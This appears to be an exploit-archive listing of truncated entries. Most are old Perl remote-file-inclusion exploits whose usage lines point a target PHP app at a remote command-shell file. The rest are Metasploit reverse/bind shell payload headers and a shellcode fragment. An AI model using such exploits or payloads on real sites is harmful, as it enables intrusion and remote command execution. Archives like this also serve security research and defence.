Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit

No description provided by source. !usr/bin/perl use LWP::UserAgent; Bug Found by Oo Exploit coded by n0m3rcy Copyright c 2006 [email protected] Gr33tz; nukedx , Devil-00 , str0ke , cijfer Usage; n0ag.pl target cmd shell location cmd shell variable if @ARGV ne 3 else sub header print...

CoolMenus 4.0 - index.php Remote File Inclusion

CoolMenus 4.0 - index.php Remote File Inclusion source: https://www.securityfocus.com/bid/17738/info CoolMenus is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include...

Internet PhotoShow (page) Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usage: perl hx.pl host cmd shell cmd shell variable\r\n\n"; print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd"; exit; / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // /...

[ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion

/ / | | / // / | | Y / | / / /| / / / / / / .OR.ID ECHOADV27$2006 --------------------------------------------------------------------------- ECHOADV27$2006 AngelineCMS 0.8.1 Installpath Remote File Inclusion --------------------------------------------------------------------------- Author :...

squery.pl.txt

!/usr/bin/perl SQuery perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to illwill! Contact: www.exploitercode.com...

INDEXU <= 5.0.1 (base_path) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ========================================================= INDEXU perl indexu.pl http://target.com/indexu/ http://target.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...

INDEXU &lt;= 5.0.1 (base_path) Remote File Inclusion Exploit

No description provided by source. !/usr/bin/perl INDEXU = 5.0.1 basepath Remote File Inclusion Exploit Bug Found & code By K-159 base on advisory at http://echo.or.id/adv/adv26-K-159-2006.txt code reference from ExploiterCode.com www.echo.or.id c 2006 usage: perl indexu.pl target cmd shell...

INDEXU 5.0.1 - 'base_path' Remote File Inclusion

!/usr/bin/perl INDEXU perl indexu.pl http://target.com/indexu/ http://target.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; greetz:echo|staffy3dips,theday,moby,comex,z3r0byt3,c-a-s-e,Sto,lirva32,anonymous,kaiten,an0maly,SinChan,sakitjiwa,rizal,etc Contact: eufratoatgmail.com...

VWar 1.5.0 R12 - Remote File Inclusion

VWar 1.5.0 R12 - Remote File Inclusion !/usr/bin/perl VWar perl vwar.pl http://site.com/VWar/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to illwill!...

VWar 1.5.0 R12 - Remote File Inclusion

!/usr/bin/perl VWar perl vwar.pl http://site.com/VWar/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to illwill! Contact: www.exploitercode.com...

SQuery <= 4.5 (libpath) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ===================================================== SQuery perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck,...

PHPNuke-Clan 3.0.1 - vwar_root2 Remote File Inclusion

PHPNuke-Clan 3.0.1 - vwarroot2 Remote File Inclusion !/usr/bin/perl PHPNuke-Clan 3.0.1 Remote File Inclusion Exploit Bug Found By uid0 code by zod c 2006 ExploiterCode.com usage: perl pnc.pl perl pnc.pl http://site.com/PNC/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcm...

SQuery 4.5 - 'libpath' Remote File Inclusion

!/usr/bin/perl SQuery perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to illwill! Contact: www.exploitercode.com...

knowledgebase.pl.txt

!/usr/bin/perl KnowledgebasePublisher 1.2 Remote Code Execution Exploit Bug Found By uid0 c 2006 ExploiterCode.com usage: perl knowledgebase.pl perl knowledgebase.pl http://site.com/knowledgebase/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster,...

KnowledgebasePublisher 1.2 - 'Include' Remote Code Execution

!/usr/bin/perl KnowledgebasePublisher 1.2 Remote Code Execution Exploit Bug Found By uid0 c 2006 ExploiterCode.com usage: perl knowledgebase.pl perl knowledgebase.pl http://site.com/knowledgebase/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster,...

Linux Command Shell, Reverse TCP Inline

Connect back to attacker and spawn a command shell This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 68 include Msf::Payload::Single include Msf::Payload::Linux::X86::Prepends includ...

Unix Command Shell, Bind TCP (inetd)

Listen for a connection and spawn a command shell persistent This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 487 include Msf::Payload::Single include...

Unix Command Shell, Double Reverse TCP (telnet)

Creates an interactive shell through two inbound connections This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule CachedSize = 130 include Msf::Payload::Single include...

Unix Command Shell, Reverse TCP (/dev/tcp)

Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions including Ubuntu because they compile bash without the /dev/tcp feature. This module requires Metasploit: https://metasploit.com/download Current source:...

netbsd/x86 setreuid0, 0; execve"/bin//sh", ..., NULL; 30 bytes

netbsd/x86 setreuid0, 0; execve"/bin//sh", ..., NULL; 30 bytes. Shellcode exploit for netbsdx86 platform / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; / include include include char scode = "\x31\xc0" // xor %eax,%eax "\x50" // push %eax...